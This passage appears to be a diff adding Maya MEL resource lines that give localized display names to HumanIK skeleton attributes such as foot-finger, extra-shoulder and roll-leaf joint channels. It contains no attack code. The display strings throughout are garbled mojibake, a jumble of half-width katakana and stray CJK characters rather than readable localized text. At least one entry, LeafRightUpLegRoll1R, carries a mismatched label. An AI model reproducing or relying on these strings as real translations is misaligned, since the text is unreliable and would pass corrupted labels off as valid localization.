"RightInFootRingPostRz", "モメスナヒトヨコトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyT", "モメスナミ。ヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyTx", "モメスナミ。ヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyTy", "モメスナミ。ヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyTz", "モメスナミ。ヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyR", "モメスナミ。ヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyRx", "モメスナミ。ヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyRy", "モメスナミ。ヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyRz", "モメスナミ。ヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyS", "モメスナミ。ヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkySx", "モメスナミ。ヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkySy", "モメスナミ。ヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkySz", "モメスナミ。ヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyPGX", "モメスナミ。ヨコトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyROrder", "モメスナミ。ヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkySC", "モメスナミ。ヨコトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyIS", "モメスナミ。ヨコトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyISx", "モメスナミ。ヨコトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyISy", "モメスナミ。ヨコトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyISz", "モメスナミ。ヨコトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyPreR", "モメスナミ。ヨコトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyPreRx", "モメスナミ。ヨコトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyPreRy", "モメスナミ。ヨコトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyPreRz", "モメスナミ。ヨコトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyPostR", "モメスナミ。ヨコトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyPostRx", "モメスナミ。ヨコトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyPostRy", "モメスナミ。ヨコトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyPostRz", "モメスナミ。ヨコトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerT", "モメスナチヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerTx", "モメスナチヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerTy", "モメスナチヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerTz", "モメスナチヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerR", "モメスナチヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerRx", "モメスナチヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerRy", "モメスナチヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerRz", "モメスナチヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerS", "モメスナチヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerSx", "モメスナチヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerSy", "モメスナチヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerSz", "モメスナチヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerPGX", "モメスナチヨコトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerROrder", "モメスナチヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerSC", "モメスナチヨコトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerIS", "モメスナチヨコトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerISx", "モメスナチヨコトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerISy", "モメスナチヨコトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerISz", "モメスナチヨコトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerPreR", "モメスナチヨコトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerPreRx", "モメスナチヨコトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerPreRy", "モメスナチヨコトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerPreRz", "モメスナチヨコトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerPostR", "モメスナチヨコトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerPostRx", "モメスナチヨコトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerPostRy", "モメスナチヨコトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerPostRz", "モメスナチヨコトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraT", "クスシモラシ酥スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraTx", "クスシモラシ酥スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraTy", "クスシモラシ酥スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraTz", "クスシモラシ酥スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraR", "クスシモラシ醪ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraRx", "クスシモラシ醪ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraRy", "クスシモラシ醪ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraRz", "クスシモラシ醪ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraS", "クスシモラシ醉キナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraSx", "クスシモラシ醉キナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraSy", "クスシモラシ醉キナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraSz", "クスシモラシ醉キナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraPGX", "クスシモラシ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraROrder", "クスシモラシ醪ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraSC", "クスシモラシ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraIS", "クスシモラシ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraISx", "クスシモラシ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraISy", "クスシモラシ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraISz", "クスシモラシ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraPreR", "クスシモラシ醪ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraPreRx", "クスシモラシ醪ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraPreRy", "クスシモラシ醪ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraPreRz", "クスシモラシ醪ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraPostR", "クスシモラシ醪ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraPostRx", "クスシモラシ醪ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraPostRy", "クスシモラシ醪ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraPostRz", "クスシモラシ醪ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraT", "クスシモモメシ酥スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraTx", "クスシモモメシ酥スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraTy", "クスシモモメシ酥スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraTz", "クスシモモメシ酥スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraR", "クスシモモメシ醪ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraRx", "クスシモモメシ醪ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraRy", "クスシモモメシ醪ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraRz", "クスシモモメシ醪ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraS", "クスシモモメシ醉キナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraSx", "クスシモモメシ醉キナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraSy", "クスシモモメシ醉キナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraSz", "クスシモモメシ醉キナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraPGX", "クスシモモメシ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraROrder", "クスシモモメシ醪ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraSC", "クスシモモメシ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraIS", "クスシモモメシ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraISx", "クスシモモメシ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraISy", "クスシモモメシ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraISz", "クスシモモメシ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraPreR", "クスシモモメシ醪ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraPreRx", "クスシモモメシ醪ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraPreRy", "クスシモモメシ醪ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraPreRz", "クスシモモメシ醪ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraPostR", "クスシモモメシ醪ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraPostRx", "クスシモモメシ醪ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraPostRy", "クスシモモメシ醪ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraPostRz", "クスシモモメシ醪ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1T", "メカラエヘネイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1Tx", "メカラエヘネイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1Ty", "メカラエヘネイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1Tz", "メカラエヘネイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1R", "メカラエヘネイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1Rx", "メカラエヘネイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1Ry", "メカラエヘネイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1Rz", "メカラエヘネイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1S", "メカラエヘネイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1Sx", "メカラエヘネイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1Sy", "メカラエヘネイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1Sz", "メカラエヘネイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1PGX", "メカラエヘネイ犹 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1ROrder", "メカラエヘネイ犹 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1SC", "メカラエヘネイ犹 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1IS", "メカラエヘネイ犹 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1ISx", "メカラエヘネイ犹 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1ISy", "メカラエヘネイ犹 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1ISz", "メカラエヘネイ犹 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1PreR", "メカラエヘネイ犹 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1PreRx", "メカラエヘネイ犹 1 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1PreRy", "メカラエヘネイ犹 1 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1PreRz", "メカラエヘネイ犹 1 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1PostR", "メカラエヘネイ犹 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1PostRx", "メカラエヘネイ犹 1 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1PostRy", "メカラエヘネイ犹 1 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1PostRz", "メカラエヘネイ犹 1 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1T", "メカラヘネイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1Tx", "メカラヘネイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1Ty", "メカラヘネイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1Tz", "メカラヘネイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1R", "メカラヘネイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1Rx", "メカラヘネイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1Ry", "メカラヘネイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1Rz", "メカラヘネイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1S", "メカラヘネイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1Sx", "メカラヘネイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1Sy", "メカラヘネイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1Sz", "メカラヘネイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1PGX", "メカラヘネイ犹 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1ROrder", "メカラヘネイ犹 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1SC", "メカラヘネイ犹 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1IS", "メカラヘネイ犹 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1ISx", "メカラヘネイ犹 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1ISy", "メカラヘネイ犹 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1ISz", "メカラヘネイ犹 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1PreR", "メカラヘネイ犹 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1PreRx", "メカラヘネイ犹 1 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1PreRy", "メカラヘネイ犹 1 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1PreRz", "メカラヘネイ犹 1 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1PostR", "メカラヘネイ犹 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1PostRx", "メカラヘネイ犹 1 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1PostRy", "メカラヘネイ犹 1 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1PostRz", "メカラヘネイ犹 1 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1T", "メカモメエヘネイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1Tx", "メカモメエヘネイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1Ty", "メカモメエヘネイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1Tz", "メカモメエヘネイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1R", "メカモメエヘネイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1Rx", "メカモメエヘネイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1Ry", "メカモメエヘネイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1Rz", "メカモメエヘネイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1S", "メカモメエヘネイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1Sx", "メカモメエヘネイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1Sy", "メカモメエヘネイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1Sz", "メカモメエヘネイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1PGX", "メカモメエヘネイ犹 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1ROrder", "メカモメエヘネイ犹 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1SC", "メカモメエヘネイ犹 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1IS", "メカモメエヘネイ犹 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1ISx", "メカモメエヘネイ犹 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1ISy", "メカモメエヘネイ犹 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1ISz", "メカモメエヘネイ犹 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1PreR", "メカモメエヘネイ犹 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1PreRx", "メカモメエヘネイ犹 1 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1PreRy", "メカモメエヘネイ犹 1 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1PreRz", "メカモメエヘネイ犹 1 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1PostR", "メカモメエヘネイ犹 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1PostRx", "メカモメエヘネイ犹 1 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1PostRy", "メカモメエヘネイ犹 1 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1PostRz", "メカモメエヘネイ犹 1 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1T", "メカモメヘネイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1Tx", "メカモメヘネイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1Ty", "メカモメヘネイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1Tz", "メカモメヘネイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1R", "メカモメヘネイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1Rx", "メカモメヘネイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1Ry", "メカモメヘネイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1Rz", "メカモメヘネイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1S", "メカモメヘネイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1Sx", "メカモメヘネイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1Sy", "メカモメヘネイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1Sz", "メカモメヘネイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1PGX", "メカモメヘネイ犹 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1ROrder", "メカモメヘネイ犹 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1SC", "メカモメヘネイ犹 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1IS", "メカモメヘネイ犹 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1ISx", "メカモメヘネイ犹 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1ISy", "メカモメヘネイ犹 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1ISz", "メカモメヘネイ犹 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1PreR", "メカモメヘネイ犹 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1PreRx", "メカモメヘネイ犹 1 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1PreRy", "メカモメヘネイ犹 1 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1PreRz", "メカモメヘネイ犹 1 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1PostR", "メカモメヘネイ犹 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1PostRx", "メカモメヘネイ犹 1 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1PostRy", "メカモメヘネイ犹 1 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1PostRz", "メカモメヘネイ犹 1 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1T", "メカラアロイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1Tx", "メカラアロイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1Ty", "メカラアロイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1Tz", "メカラアロイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1R", "メカラアロイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1Rx", "メカラアロイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1Ry", "メカラアロイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1Rz", "メカラアロイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1S", "メカラアロイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1Sx", "メカラアロイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1Sy", "メカラアロイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1Sz", "メカラアロイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1PGX", "メカラアロイ犹 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1ROrder", "メカラアロイ犹 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1SC", "メカラアロイ犹 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1IS", "メカラアロイ犹 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1ISx", "メカラアロイ犹 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1ISy", "メカラアロイ犹 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1ISz", "メカラアロイ犹 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1PreR", "メカラアロイ犹 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1PreRx", "メカラアロイ犹 1 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1PreRy", "メカラアロイ犹 1 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1PreRz", "メカラアロイ犹 1 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1PostR", "メカラアロイ犹 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1PostRx", "メカラアロイ犹 1 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1PostRy", "メカラアロイ犹 1 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1PostRz", "メカラアロイ犹 1 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1T", "メカラヌーアロイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1Tx", "メカラヌーアロイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1Ty", "メカラヌーアロイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1Tz", "メカラヌーアロイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1R", "メカラヌーアロイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", 